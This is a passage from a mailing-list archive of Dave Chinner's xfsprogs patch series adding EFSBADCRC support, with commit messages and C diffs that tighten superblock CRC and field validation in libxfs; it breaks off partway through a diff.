(2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0E6517F4E for ; Tue, 4 Mar 2014 02:52:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF461304043 for ; Tue, 4 Mar 2014 00:52:17 -0800 (PST) X-ASG-Debug-ID: 1393923133-04bdf05dac239590003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id CurmEorfwrFx22Ev for ; Tue, 04 Mar 2014 00:52:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMRI5uhCIEqmeBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HU-KB for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006y9-JP for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/13] libxfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields Date: Tue, 4 Mar 2014 19:51:45 +1100 X-ASG-Orig-Subj: [PATCH 01/13] libxfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields Message-Id: <1393923117-9559-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923135 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Today, if xfs_sb_read_verify encounters a v4 superblock with junk past v4 fields which includes data in sb_crc, it will be treated as a failing checksum and a significant corruption. There are known prior bugs which leave junk at the end of the V4 superblock; we don't need to actually fail the verification in this case if other checks pan out ok. So if this is a secondary superblock, and the primary superblock doesn't indicate that this is a V5 filesystem, don't treat this as an actual checksum failure. We should probably check the garbage condition as we do in xfs_repair, and possibly warn about it or self-heal, but that's a different scope of work. Signed-off-by: Dave Chinner --- libxfs/xfs_sb.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 48b1a97..16088a6 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -542,6 +542,11 @@ xfs_sb_verify( * single bit error could clear the feature bit and unused parts of the * superblock are supposed to be zero. Hence a non-null crc field indicates that * we've potentially lost a feature bit and we should check it anyway. + * + * However, past bugs (i.e. in growfs) left non-zeroed regions beyond the + * last field in V4 secondary superblocks. So for secondary superblocks, + * we are more forgiving, and ignore CRC failures if the primary doesn't + * indicate that the fs version is V5. */ static void xfs_sb_read_verify( @@ -562,8 +567,12 @@ xfs_sb_read_verify( if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), offsetof(struct xfs_sb, sb_crc))) { - error = EFSCORRUPTED; - goto out_error; + /* Only fail bad secondaries on a known V5 filesystem */ + if (bp->b_bn != XFS_SB_DADDR && + xfs_sb_version_hascrc(&mp->m_sb)) { + error = EFSCORRUPTED; + goto out_error; + } } } error = xfs_sb_verify(bp, true); -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F0A17F4E for ; Tue, 4 Mar 2014 02:52:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B171304043 for ; Tue, 4 Mar 2014 00:52:18 -0800 (PST) X-ASG-Debug-ID: 1393923135-04cb6c567721b350002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 8HqEmaN1imkh0dNK for ; Tue, 04 Mar 2014 00:52:17 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMLReNenSEIgSjEIdXg0EogS0 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HV-Kf for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006yQ-Jl for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/13] libxfs: sanitize sb_inopblock in xfs_mount_validate_sb Date: Tue, 4 Mar 2014 19:51:46 +1100 X-ASG-Orig-Subj: [PATCH 02/13] libxfs: sanitize sb_inopblock in xfs_mount_validate_sb Message-Id: <1393923117-9559-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923136 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] xfs_mount_validate_sb doesn't check sb_inopblock for sanity (as does its xfs_repair counterpart, FWIW). If it's out of bounds, we can go off the rails in i.e. xfs_inode_buf_verify(), which uses sb_inopblock as a loop limit when stepping through a metadata buffer. The problem can be demonstrated easily by corrupting sb_inopblock with xfs_db and trying to mount the result: # mkfs.xfs -dfile,name=fsfile,size=1g # xfs_db -x fsfile xfs_db> sb 0 xfs_db> write inopblock 512 inopblock = 512 xfs_db> quit # mount -o loop fsfile mnt and we blow up in xfs_inode_buf_verify(). With this patch, we get a (very noisy) corruption error, and fail the mount as we should. Signed-off-by: Dave Chinner --- libxfs/xfs_sb.c | 1 + 1 file changed, 1 insertion(+) diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 16088a6..4be7366 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -258,6 +258,7 @@ xfs_mount_validate_sb( sbp->sb_inodelog < XFS_DINODE_MIN_LOG || sbp->sb_inodelog > XFS_DINODE_MAX_LOG || sbp->sb_inodesize != (1 << sbp->sb_inodelog) || + sbp->sb_inopblock != howmany(sbp->sb_blocksize,sbp->sb_inodesize) || (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C1FAE7F4E for ; Tue, 4 Mar 2014 02:52:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D169304043 for ; Tue, 4 Mar 2014 00:52:15 -0800 (PST) X-ASG-Debug-ID: 1393923133-04bdf05dac239590001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id vfNwIJDTZqBSFRv1 for ; Tue, 04 Mar 2014 00:52:13 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq4LAIuTFVN5LJYe/2dsb2JhbABagwapG5oAF3SDAjuBAgOILJxxr1OOboQiBKpng0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HT-Jq for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006y5-Iz for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/13] xfsprogs: initial EFSBADCRC support Date: Tue, 4 Mar 2014 19:51:44 +1100 X-ASG-Orig-Subj: [PATCH 00/13] xfsprogs: initial EFSBADCRC support Message-Id: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923133 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, This series is a userspace port of Eric's EFSBADCRC verifier error discrimination patch set. It brings across all the relevant pathes form the kernel code and shoe-horns them into the libxfs codebase. There are two extra patches on the end of the series - one to make xfs_db use EFSBADCRC for it's CRC validity indication, and the other to make xfs_repair detect and handle primary superblock CRC failures and recalculation when the primary superblock is rebuilt and rewritten. This is the first step in bring full awareness of CRC errors into xfs_repair. More patches will follow as I make more repair code aware that EFSBADCRC means that the object that was just read needs repair. Cheers, Dave. From dave@fromorbit.com Tue Mar 4 02:52:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 475A27F58 for ; Tue, 4 Mar 2014 02:52:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD1D38F8065 for ; Tue, 4 Mar 2014 00:52:18 -0800 (PST) X-ASG-Debug-ID: 1393923133-04bdf05dac239590004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 9eLmmP7pUhmD4jRm for ; Tue, 04 Mar 2014 00:52:17 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMRI4IZoQiBKpng0EogS0 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HX-LR for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006ye-Ke for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/13] libxfs: skip verification on initial "guess" superblock read Date: Tue, 4 Mar 2014 19:51:48 +1100 X-ASG-Orig-Subj: [PATCH 04/13] libxfs: skip verification on initial "guess" superblock read Message-Id: <1393923117-9559-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923137 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] When xfs_readsb() does the very first read of the superblock, it makes a guess at the length of the buffer, based on the sector size of the underlying storage. This may or may not match the filesystem sector size in sb_sectsize, so we can't i.e. do a CRC check on it; it might be too short. In fact, mounting a filesystem with sb_sectsize larger than the device sector size will cause a mount failure if CRCs are enabled, because we are checksumming a length which exceeds the buffer passed to it. So always read twice; the first time we read with NULL buffer ops to skip verification; then set the proper read length, hook up the proper verifier, and give it another go. Once we are sure that we've got the right buffer length, we can also use bp->b_length in the xfs_sb_read_verify, rather than the less-trusted on-disk sectorsize for secondary superblocks. Before this we ran the risk of passing junk to the crc32c routines, which didn't always handle extreme values. Signed-off-by: Dave Chinner --- libxfs/xfs_sb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 5c10c97..6ad99a5 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -566,7 +566,7 @@ xfs_sb_read_verify( XFS_SB_VERSION_5) || dsb->sb_crc != 0)) { - if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), + if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), offsetof(struct xfs_sb, sb_crc))) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || @@ -599,7 +599,6 @@ xfs_sb_quiet_read_verify( { struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { /* XFS filesystem, verify noisily! */ xfs_sb_read_verify(bp); -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 088DC7F4E for ; Tue, 4 Mar 2014 02:52:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D77148F8065 for ; Tue, 4 Mar 2014 00:52:19 -0800 (PST) X-ASG-Debug-ID: 1393923133-04bdf05dac239590005-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 0s3pZI2YlncfEtL4 for ; Tue, 04 Mar 2014 00:52:18 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMLReNbYEBhCIEoxCHV4NBKIEs Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:13 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HW-L7 for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006yW-KD for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/13] libxfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb Date: Tue, 4 Mar 2014 19:51:47 +1100 X-ASG-Orig-Subj: [PATCH 03/13] libxfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb Message-Id: <1393923117-9559-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923137 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] My earlier commit 10e6e65 deserves a layer or two of brown paper bags. The logic in that commit means that a CRC failure on the primary superblock will *never* result in an error return. Hopefully this fixes it, so that we always return the error if it's a primary superblock, otherwise only if the filesystem has CRCs enabled. Signed-off-by: Dave Chinner --- libxfs/xfs_sb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 4be7366..5c10c97 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -569,7 +569,7 @@ xfs_sb_read_verify( if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), offsetof(struct xfs_sb, sb_crc))) { /* Only fail bad secondaries on a known V5 filesystem */ - if (bp->b_bn != XFS_SB_DADDR && + if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { error = EFSCORRUPTED; goto out_error; -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 24A757F58 for ; Tue, 4 Mar 2014 02:52:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E5D21304043 for ; Tue, 4 Mar 2014 00:52:19 -0800 (PST) X-ASG-Debug-ID: 1393923136-04bdf05dac2395a0002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id MPDXV641at41a0tV for ; Tue, 04 Mar 2014 00:52:18 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMRJMQBKpng0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006Ha-Ms for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006zB-Lk for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/13] libxfs: Use defines for CRC offsets in all cases Date: Tue, 4 Mar 2014 19:51:51 +1100 X-ASG-Orig-Subj: [PATCH 07/13] libxfs: Use defines for CRC offsets in all cases Message-Id: <1393923117-9559-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923137 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Some calls to crc functions used useful #defines, others used awkward offsetof() constructs. Switch them all to #define to make things a bit cleaner. Signed-off-by: Dave Chinner --- include/xfs_ag.h | 6 ++++++ include/xfs_dinode.h | 2 ++ include/xfs_format.h | 2 ++ include/xfs_sb.h | 2 ++ libxfs/xfs_alloc.c | 10 ++++------ libxfs/xfs_ialloc.c | 5 ++--- libxfs/xfs_inode_buf.c | 4 ++-- libxfs/xfs_sb.c | 5 ++--- libxfs/xfs_symlink_remote.c | 5 ++--- 9 files changed, 24 insertions(+), 17 deletions(-) diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 3fc1098..0fdd410 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -89,6 +89,8 @@ typedef struct xfs_agf { /* structure must be padded to 64 bit alignment */ } xfs_agf_t; +#define XFS_AGF_CRC_OFF offsetof(struct xfs_agf, agf_crc) + #define XFS_AGF_MAGICNUM 0x00000001 #define XFS_AGF_VERSIONNUM 0x00000002 #define XFS_AGF_SEQNO 0x00000004 @@ -167,6 +169,8 @@ typedef struct xfs_agi { /* structure must be padded to 64 bit alignment */ } xfs_agi_t; +#define XFS_AGI_CRC_OFF offsetof(struct xfs_agi, agi_crc) + #define XFS_AGI_MAGICNUM 0x00000001 #define XFS_AGI_VERSIONNUM 0x00000002 #define XFS_AGI_SEQNO 0x00000004 @@ -222,6 +226,8 @@ typedef struct xfs_agfl { __be32 agfl_bno[]; /* actually XFS_AGFL_SIZE(mp) */ } xfs_agfl_t; +#define XFS_AGFL_CRC_OFF offsetof(struct xfs_agfl, agfl_crc) + /* * tags for inode radix tree */ diff --git a/include/xfs_dinode.h b/include/xfs_dinode.h index e5869b5..623bbe8 100644 --- a/include/xfs_dinode.h +++ b/include/xfs_dinode.h @@ -89,6 +89,8 @@ typedef struct xfs_dinode { /* structure must be padded to 64 bit alignment */ } xfs_dinode_t; +#define XFS_DINODE_CRC_OFF offsetof(struct xfs_dinode, di_crc) + #define DI_MAX_FLUSH 0xffff /* diff --git a/include/xfs_format.h b/include/xfs_format.h index 997c770..77f6b8b 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -145,6 +145,8 @@ struct xfs_dsymlink_hdr { __be64 sl_lsn; }; +#define XFS_SYMLINK_CRC_OFF offsetof(struct xfs_dsymlink_hdr, sl_crc) + /* * The maximum pathlen is 1024 bytes. Since the minimum file system * blocksize is 512 bytes, we can get a max of 3 extents back from diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 35061d4..f7b2fe7 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -182,6 +182,8 @@ typedef struct xfs_sb { /* must be padded to 64 bit alignment */ } xfs_sb_t; +#define XFS_SB_CRC_OFF offsetof(struct xfs_sb, sb_crc) + /* * Superblock - on disk version. Must match the in core version above. * Must be padded to 64 bit alignment. diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index e4fb1ad..8a6725e 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -464,7 +464,7 @@ xfs_agfl_read_verify( return; agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + XFS_AGFL_CRC_OFF); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -494,8 +494,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2222,7 +2221,7 @@ xfs_agf_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + XFS_AGF_CRC_OFF); agf_ok = agf_ok && xfs_agf_verify(mp, bp); @@ -2252,8 +2251,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index afe1a82..b83ad98 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1555,7 +1555,7 @@ xfs_agi_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + XFS_AGI_CRC_OFF); agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, @@ -1583,8 +1583,7 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index 